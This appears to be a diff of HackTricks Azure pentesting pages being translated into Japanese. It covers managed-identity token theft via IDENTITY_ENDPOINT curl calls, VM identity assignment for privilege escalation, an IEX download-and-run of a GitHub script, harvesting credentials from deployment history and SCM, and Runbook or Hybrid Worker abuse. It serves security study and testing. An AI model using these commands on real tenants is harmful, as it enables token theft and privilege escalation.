**SSH**を介して**`az ssh vm --name <vm-name> --resource-group <rsc-group>`**でログインし、**RDP**を介して**通常のAzure資格情報**でログインします。
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
|
||||
|
||||
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
|
||||
この権限は、ユーザーが**VMにSSHまたはRDPを介してログインする**ことを許可します(VMでEntra ID認証が有効になっている限り)。
|
||||
|
||||
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
|
||||
**SSH**を介して**`az ssh vm --name <vm-name> --resource-group <rsc-group>`**でログインし、**RDP**を介して**通常のAzure資格情報**でログインします。
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it.
|
||||
|
||||
Depending on the situation more or less permissions might be needed to abuse this technique.
|
||||
これらはすべて、**特定のマネージドアイデンティティを持つVMを作成し、**ポートを開いたままにする**ために必要な権限です(この場合は22)。これにより、ユーザーはVMを作成し、接続して**マネージドアイデンティティトークンを盗む**ことで権限を昇格させることができます。
|
||||
|
||||
状況に応じて、この技術を悪用するために必要な権限は多かれ少なかれ異なる場合があります。
|
||||
```bash
|
||||
az vm create \
|
||||
--resource-group Resource_Group_1 \
|
||||
--name cli_vm \
|
||||
--image Ubuntu2204 \
|
||||
--admin-username azureuser \
|
||||
--generate-ssh-keys \
|
||||
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
|
||||
--nsg-rule ssh \
|
||||
--location "centralus"
|
||||
--resource-group Resource_Group_1 \
|
||||
--name cli_vm \
|
||||
--image Ubuntu2204 \
|
||||
--admin-username azureuser \
|
||||
--generate-ssh-keys \
|
||||
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
|
||||
--nsg-rule ssh \
|
||||
--location "centralus"
|
||||
# By default pub key from ~/.ssh is used (if none, it's generated there)
|
||||
```
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\
|
||||
Then, from the metadata service it's possible to generate tokens for each one.
|
||||
|
||||
これらの権限は、**VMに新しいマネージドアイデンティティを割り当てる**のに十分です。VMは複数のマネージドアイデンティティを持つことができることに注意してください。**システム割り当てのもの**と、**多くのユーザー管理のアイデンティティ**を持つことができます。\
|
||||
その後、メタデータサービスから各アイデンティティのトークンを生成することが可能です。
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
az vm identity show \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
|
||||
# Assign several managed identities to a VM
|
||||
az vm identity assign \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--identities \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--identities \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
```
|
||||
|
||||
Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**:
|
||||
その後、攻撃者は**何らかの方法でVMを侵害する必要があります**。割り当てられた管理されたアイデンティティからトークンを盗むために。**詳細は**を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
@@ -377,10 +351,6 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs...
|
||||
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute)によると、この権限は、管理者としてWindows Admin Centerを介してリソースのOSを管理することを許可します。したがって、これはVMを制御するためのWACへのアクセスを提供するようです...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,28 +2,27 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Portals
|
||||
## ポータル
|
||||
|
||||
You can find the list of **Microsoft portals in** [**https://msportals.io/**](https://msportals.io/)
|
||||
**Microsoftポータルのリストは** [**https://msportals.io/**](https://msportals.io/) **で見つけることができます。**
|
||||
|
||||
### Raw requests
|
||||
### 生リクエスト
|
||||
|
||||
#### Azure API via Powershell
|
||||
#### Powershell経由のAzure API
|
||||
|
||||
Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
|
||||
|
||||
Then query the Azure REST API to get the **subscription ID** and more .
|
||||
**IDENTITY_HEADER** と **IDENTITY_ENDPOINT** から **access_token** を取得します: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`。
|
||||
|
||||
次に、Azure REST APIをクエリして **subscription ID** などを取得します。
|
||||
```powershell
|
||||
$Token = 'eyJ0eX..'
|
||||
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||||
# $URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
|
||||
@@ -31,9 +30,7 @@ $RequestParams = @{
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
|
||||
```
|
||||
|
||||
#### Azure API via Python Version
|
||||
|
||||
#### Azure API via Python バージョン
|
||||
```python
|
||||
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
||||
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
||||
@@ -50,28 +47,21 @@ val = os.popen(cmd).read()
|
||||
print(json.loads(val)["access_token"])
|
||||
print("ClientID/AccountID: "+json.loads(val)["client_id"])
|
||||
```
|
||||
|
||||
or inside a Python Function:
|
||||
|
||||
またはPython関数内で:
|
||||
```python
|
||||
import logging, os
|
||||
import azure.functions as func
|
||||
|
||||
def main(req: func.HttpRequest) -> func.HttpResponse:
|
||||
logging.info('Python HTTP trigger function processed a request.')
|
||||
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
||||
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
||||
cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
|
||||
val = os.popen(cmd).read()
|
||||
return func.HttpResponse(val, status_code=200)
|
||||
logging.info('Python HTTP trigger function processed a request.')
|
||||
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
||||
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
||||
cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
|
||||
val = os.popen(cmd).read()
|
||||
return func.HttpResponse(val, status_code=200)
|
||||
```
|
||||
## サービスのリスト
|
||||
|
||||
## List of Services
|
||||
|
||||
**The pages of this section are ordered by Azure service. In there you will be able to find information about the service (how it works and capabilities) and also how to enumerate each service.**
|
||||
**このセクションのページはAzureサービスによって整理されています。ここでは、サービスに関する情報(どのように機能し、どのような能力があるか)や、各サービスを列挙する方法を見つけることができます。**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,14 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for **storing and managing Docker container images and other artifacts**. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services.
|
||||
Azure Container Registry (ACR) は、**Docker コンテナ イメージやその他のアーティファクトを保存および管理するための Microsoft Azure が提供するマネージド サービス**です。統合された開発者ツール、地理的レプリケーション、ロールベースのアクセス制御やイメージスキャンなどのセキュリティ対策、自動ビルド、Webhook およびトリガー、ネットワークの隔離などの機能を提供します。Docker CLI や Kubernetes などの人気ツールと連携し、他の Azure サービスとも良好に統合されます。
|
||||
|
||||
### Enumerate
|
||||
|
||||
To enumerate the service you could use the script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
|
||||
### 列挙
|
||||
|
||||
サービスを列挙するには、スクリプト [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1) を使用できます:
|
||||
```bash
|
||||
# List Docker images inside the registry
|
||||
IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")
|
||||
@@ -18,19 +17,15 @@ Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "
|
||||
|
||||
Get-AzACR -username <username> -password <password> -registry <corp-name>.azurecr.io
|
||||
```
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
az acr list --output table
|
||||
az acr show --name MyRegistry --resource-group MyResourceGroup
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
|
||||
```powershell
|
||||
# List all ACRs in your subscription
|
||||
Get-AzContainerRegistry
|
||||
@@ -38,19 +33,12 @@ Get-AzContainerRegistry
|
||||
# Get a specific ACR
|
||||
Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Login & Pull from the registry
|
||||
|
||||
レジストリからログインしてプルする
|
||||
```bash
|
||||
docker login <corp-name>.azurecr.io --username <username> --password <password>
|
||||
docker pull <corp-name>.azurecr.io/<image>:<tag>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,42 +2,41 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Service Basic Information
|
||||
## App Service 基本情報
|
||||
|
||||
Azure App Services enables developers to **build, deploy, and scale web applications, mobile app backends, and APIs seamlessly**. It supports multiple programming languages and integrates with various Azure tools and services for enhanced functionality and management.
|
||||
Azure App Services は、開発者が **ウェブアプリケーション、モバイルアプリのバックエンド、APIをシームレスに構築、デプロイ、スケール** できるようにします。複数のプログラミング言語をサポートし、機能と管理を強化するためにさまざまなAzureツールやサービスと統合されています。
|
||||
|
||||
Each app runs inside a sandbox but isolation depends upon App Service plans
|
||||
各アプリはサンドボックス内で実行されますが、隔離はApp Serviceプランに依存します。
|
||||
|
||||
- Apps in Free and Shared tiers run on shared VMs
|
||||
- Apps in Standard and Premium tiers run on dedicated VMs
|
||||
- 無料および共有プランのアプリは共有VM上で実行されます。
|
||||
- スタンダードおよびプレミアムプランのアプリは専用VM上で実行されます。
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **esalate privileges to them**.
|
||||
> これらの隔離は **他の一般的なウェブ脆弱性**(ファイルアップロードやインジェクションなど)を **防ぐものではない** ことに注意してください。また、**管理アイデンティティ**が使用される場合、**特権を昇格させることができる**可能性があります。
|
||||
|
||||
### Azure Function Apps
|
||||
|
||||
Basically **Azure Function apps are a subset of Azure App Service** in the web and if you go to the web console and list all the app services or execute `az webapp list` in az cli you will be able to **see the Function apps also listed here**.
|
||||
基本的に **Azure Function appsはAzure App Serviceのサブセット** であり、ウェブコンソールにアクセスしてすべてのアプリサービスをリスト表示するか、az cliで `az webapp list` を実行すると、**Function appsもここにリストされているのが確認できます**。
|
||||
|
||||
Actually some of the **security related features** App services use (`webapp` in the az cli), are **also used by Function apps**.
|
||||
実際、App servicesが使用するいくつかの **セキュリティ関連機能**(az cliの `webapp`)は、**Function appsでも使用されています**。
|
||||
|
||||
## Basic Authentication
|
||||
## 基本認証
|
||||
|
||||
When creating a web app (and a Azure function usually) it's possible to indicate if you want Basic Authentication to be enabled. This basically **enables SCM and FTP** for the application so it'll be possible to deploy the application using those technologies.\
|
||||
Moreover in order to connect to them, Azure provides an **API that allows to get the username, password and URL** to connect to the SCM and FTP servers.
|
||||
ウェブアプリ(通常はAzure Function)を作成する際に、基本認証を有効にするかどうかを指定することが可能です。これは基本的に **アプリケーションのためにSCMとFTPを有効にする** ので、これらの技術を使用してアプリケーションをデプロイすることが可能になります。\
|
||||
さらに、それらに接続するために、Azureは **ユーザー名、パスワード、URLを取得するためのAPIを提供** しています。
|
||||
|
||||
- Authentication: az webapp auth show --name lol --resource-group lol_group
|
||||
- 認証: az webapp auth show --name lol --resource-group lol_group
|
||||
|
||||
SSH
|
||||
|
||||
Always On
|
||||
常時オン
|
||||
|
||||
Debugging
|
||||
デバッグ
|
||||
|
||||
### Enumeration
|
||||
### 列挙
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
@@ -101,15 +100,15 @@ az functionapp show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
@@ -125,7 +124,7 @@ az functionapp config access-restriction show --name <app-name> --resource-group
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
@@ -135,22 +134,18 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
|
||||
```powershell
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="az get all" }}
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
@@ -170,21 +165,19 @@ list_app_services=$(az appservice list --query "[].{appServiceName: name, group:
|
||||
|
||||
# Iterate over each App Service
|
||||
echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
|
||||
# Get the type of the App Service
|
||||
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
|
||||
# Get the type of the App Service
|
||||
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
|
||||
|
||||
# Check if it is a Function App and print its name
|
||||
if [ "$service_type" == "functionapp" ]; then
|
||||
echo "Function App Name: $appServiceName"
|
||||
fi
|
||||
# Check if it is a Function App and print its name
|
||||
if [ "$service_type" == "functionapp" ]; then
|
||||
echo "Function App Name: $appServiceName"
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Obtain credentials & get access to the webapp code
|
||||
|
||||
#### 資格情報を取得し、webappコードにアクセスする
|
||||
```bash
|
||||
# Get connection strings that could contain credentials (with DBs for example)
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
@@ -202,17 +195,12 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
|
||||
## In my case the username was: $nameofthewebapp and the password some random chars
|
||||
## If you change the code and do a push, the app is automatically redeployed
|
||||
```
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,25 +2,24 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
|
||||
|
||||
Azure Active Directory's Application Proxy provides **secure remote access to on-premises web applications**. After a **single sign-on to Azure AD**, users can access both **cloud** and **on-premises applications** through an **external URL** or an internal application portal.
|
||||
Azure Active DirectoryのApplication Proxyは、**オンプレミスのWebアプリケーションへの安全なリモートアクセス**を提供します。**Azure ADへのシングルサインオン**の後、ユーザーは**クラウド**と**オンプレミスアプリケーション**の両方に、**外部URL**または内部アプリケーションポータルを通じてアクセスできます。
|
||||
|
||||
It works like this:
|
||||
動作は次のようになります:
|
||||
|
||||
<figure><img src="../../../images/image (186).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. After the user has accessed the application through an endpoint, the user is directed to the **Azure AD sign-in page**.
|
||||
2. After a **successful sign-in**, Azure AD sends a **token** to the user's client device.
|
||||
3. The client sends the token to the **Application Proxy service**, which retrieves the user principal name (UPN) and security principal name (SPN) from the token. **Application Proxy then sends the request to the Application Proxy connector**.
|
||||
4. If you have configured single sign-on, the connector performs any **additional authentication** required on behalf of the user.
|
||||
5. The connector sends the request to the **on-premises application**.
|
||||
6. The **response** is sent through the connector and Application Proxy service **to the user**.
|
||||
|
||||
## Enumeration
|
||||
1. ユーザーがエンドポイントを通じてアプリケーションにアクセスすると、ユーザーは**Azure ADサインインページ**にリダイレクトされます。
|
||||
2. **サインインが成功すると**、Azure ADはユーザーのクライアントデバイスに**トークン**を送信します。
|
||||
3. クライアントはトークンを**Application Proxyサービス**に送信し、トークンからユーザープリンシパル名(UPN)とセキュリティプリンシパル名(SPN)を取得します。**Application Proxyはその後、リクエストをApplication Proxyコネクタに送信します**。
|
||||
4. シングルサインオンを構成している場合、コネクタはユーザーに代わって必要な**追加認証**を実行します。
|
||||
5. コネクタはリクエストを**オンプレミスアプリケーション**に送信します。
|
||||
6. **レスポンス**はコネクタとApplication Proxyサービスを通じて**ユーザーに送信されます**。
|
||||
|
||||
## 列挙
|
||||
```powershell
|
||||
# Enumerate applications with application proxy configured
|
||||
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
|
||||
@@ -32,13 +31,8 @@ Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Name"}
|
||||
# to find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it
|
||||
Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <object-id>
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,18 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) To implement **infrastructure as code for your Azure solutions**, use Azure Resource Manager templates (ARM templates). The template is a JavaScript Object Notation (**JSON**) file that **defines** the **infrastructure** and configuration for your project. The template uses declarative syntax, which lets you state what you intend to deploy without having to write the sequence of programming commands to create it. In the template, you specify the resources to deploy and the properties for those resources.
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) **Azureソリューションのためのコードとしてのインフラストラクチャを実装する**には、Azure Resource Managerテンプレート(ARMテンプレート)を使用します。テンプレートは、プロジェクトの**インフラストラクチャ**と構成を**定義**するJavaScriptオブジェクト表記(**JSON**)ファイルです。テンプレートは宣言型構文を使用しており、作成するためのプログラミングコマンドのシーケンスを書くことなく、デプロイする意図を述べることができます。テンプレート内では、デプロイするリソースとそのリソースのプロパティを指定します。
|
||||
|
||||
### History
|
||||
### 歴史
|
||||
|
||||
If you can access it, you can have **info about resources** that are not present but might be deployed in the future. Moreover, if a **parameter** containing **sensitive info** was marked as "**String**" **instead** of "**SecureString**", it will be present in **clear-text**.
|
||||
アクセスできる場合、将来的にデプロイされる可能性のある**リソースに関する情報**を得ることができます。さらに、**機密情報**を含む**パラメータ**が「**String**」としてマークされている場合、「**SecureString**」の代わりに、**平文**で存在します。
|
||||
|
||||
## Search Sensitive Info
|
||||
|
||||
Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**.
|
||||
## 機密情報の検索
|
||||
|
||||
`Microsoft.Resources/deployments/read`および`Microsoft.Resources/subscriptions/resourceGroups/read`の権限を持つユーザーは、**デプロイメント履歴を読む**ことができます。
|
||||
```powershell
|
||||
Get-AzResourceGroup
|
||||
Get-AzResourceGroupDeployment -ResourceGroupName <name>
|
||||
@@ -23,13 +22,8 @@ Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -Depl
|
||||
cat <DEPLOYMENT NAME>.json # search for hardcoded password
|
||||
cat <PATH TO .json FILE> | Select-String password
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,54 +2,53 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation delivers a cloud-based automation, operating system updates, and configuration service that supports consistent management across your Azure and non-Azure environments. It includes process automation, configuration management, update management, shared capabilities, and heterogeneous features.
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automationは、Azureおよび非Azure環境全体で一貫した管理をサポートするクラウドベースの自動化、オペレーティングシステムの更新、および構成サービスを提供します。プロセス自動化、構成管理、更新管理、共有機能、および異種機能が含まれています。
|
||||
|
||||
These are like "**scheduled tasks**" in Azure that will let you execute things (actions or even scripts) to **manage**, check and configure the **Azure environment**.
|
||||
これらはAzureの「**スケジュールされたタスク**」のようなもので、**Azure環境**を**管理**、確認、構成するために、物事(アクションやスクリプト)を実行することができます。
|
||||
|
||||
### Run As Account
|
||||
### Run As アカウント
|
||||
|
||||
When **Run as Account** is used, it creates an Azure AD **application** with self-signed certificate, creates a **service principal** and assigns the **Contributor** role for the account in the **current subscription** (a lot of privileges).\
|
||||
Microsoft recommends using a **Managed Identity** for Automation Account.
|
||||
**Run as Account**が使用されると、自己署名証明書を持つAzure AD **アプリケーション**が作成され、**サービスプリンシパル**が作成され、**現在のサブスクリプション**内のアカウントに**Contributor**ロールが割り当てられます(多くの特権があります)。\
|
||||
MicrosoftはAutomation Accountに**Managed Identity**を使用することを推奨しています。
|
||||
|
||||
> [!WARNING]
|
||||
> This will be **removed on September 30, 2023 and changed for Managed Identities.**
|
||||
> これは**2023年9月30日に削除され、Managed Identitiesに変更されます。**
|
||||
|
||||
## Runbooks & Jobs
|
||||
|
||||
**Runbooks** allow you to **execute arbitrary PowerShell** code. This could be **abused by an attacker** to steal the permissions of the **attached principal** (if any).\
|
||||
In the **code** of **Runbooks** you could also find **sensitive info** (such as creds).
|
||||
**Runbooks**は、**任意のPowerShell**コードを**実行**することを可能にします。これは**攻撃者によって悪用される可能性**があり、**添付されたプリンシパル**の権限を盗むことができます(存在する場合)。\
|
||||
**Runbooks**の**コード**には、**機密情報**(クレデンシャルなど)も含まれている可能性があります。
|
||||
|
||||
If you can **read** the **jobs**, do it as they **contain** the **output** of the run (potential **sensitive info**).
|
||||
**ジョブ**を**読む**ことができる場合は、実行の**出力**(潜在的な**機密情報**)が含まれているため、必ず行ってください。
|
||||
|
||||
Go to `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
`Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`に移動します。
|
||||
|
||||
### Hybrid Worker
|
||||
### ハイブリッドワーカー
|
||||
|
||||
A Runbook can be run in a **container inside Azure** or in a **Hybrid Worker** (non-azure machine).\
|
||||
The **Log Analytics Agent** is deployed on the VM to register it as a hybrid worker.\
|
||||
The hybrid worker jobs run as **SYSTEM** on Windows and **nxautomation** account on Linux.\
|
||||
Each Hybrid Worker is registered in a **Hybrid Worker Group**.
|
||||
Runbookは、**Azure内のコンテナ**または**ハイブリッドワーカー**(非Azureマシン)で実行できます。\
|
||||
**Log Analytics Agent**は、ハイブリッドワーカーとして登録するためにVMにデプロイされます。\
|
||||
ハイブリッドワーカーのジョブは、Windowsでは**SYSTEM**として、Linuxでは**nxautomation**アカウントとして実行されます。\
|
||||
各ハイブリッドワーカーは**ハイブリッドワーカーグループ**に登録されます。
|
||||
|
||||
Therefore, if you can choose to run a **Runbook** in a **Windows Hybrid Worker**, you will execute **arbitrary commands** inside an external machine as **System** (nice pivot technique).
|
||||
したがって、**Windowsハイブリッドワーカー**で**Runbook**を実行することを選択できる場合、**System**として外部マシン内で**任意のコマンド**を実行することになります(良いピボット技術です)。
|
||||
|
||||
## Compromise State Configuration (SC)
|
||||
## コンプロマイズ状態構成 (SC)
|
||||
|
||||
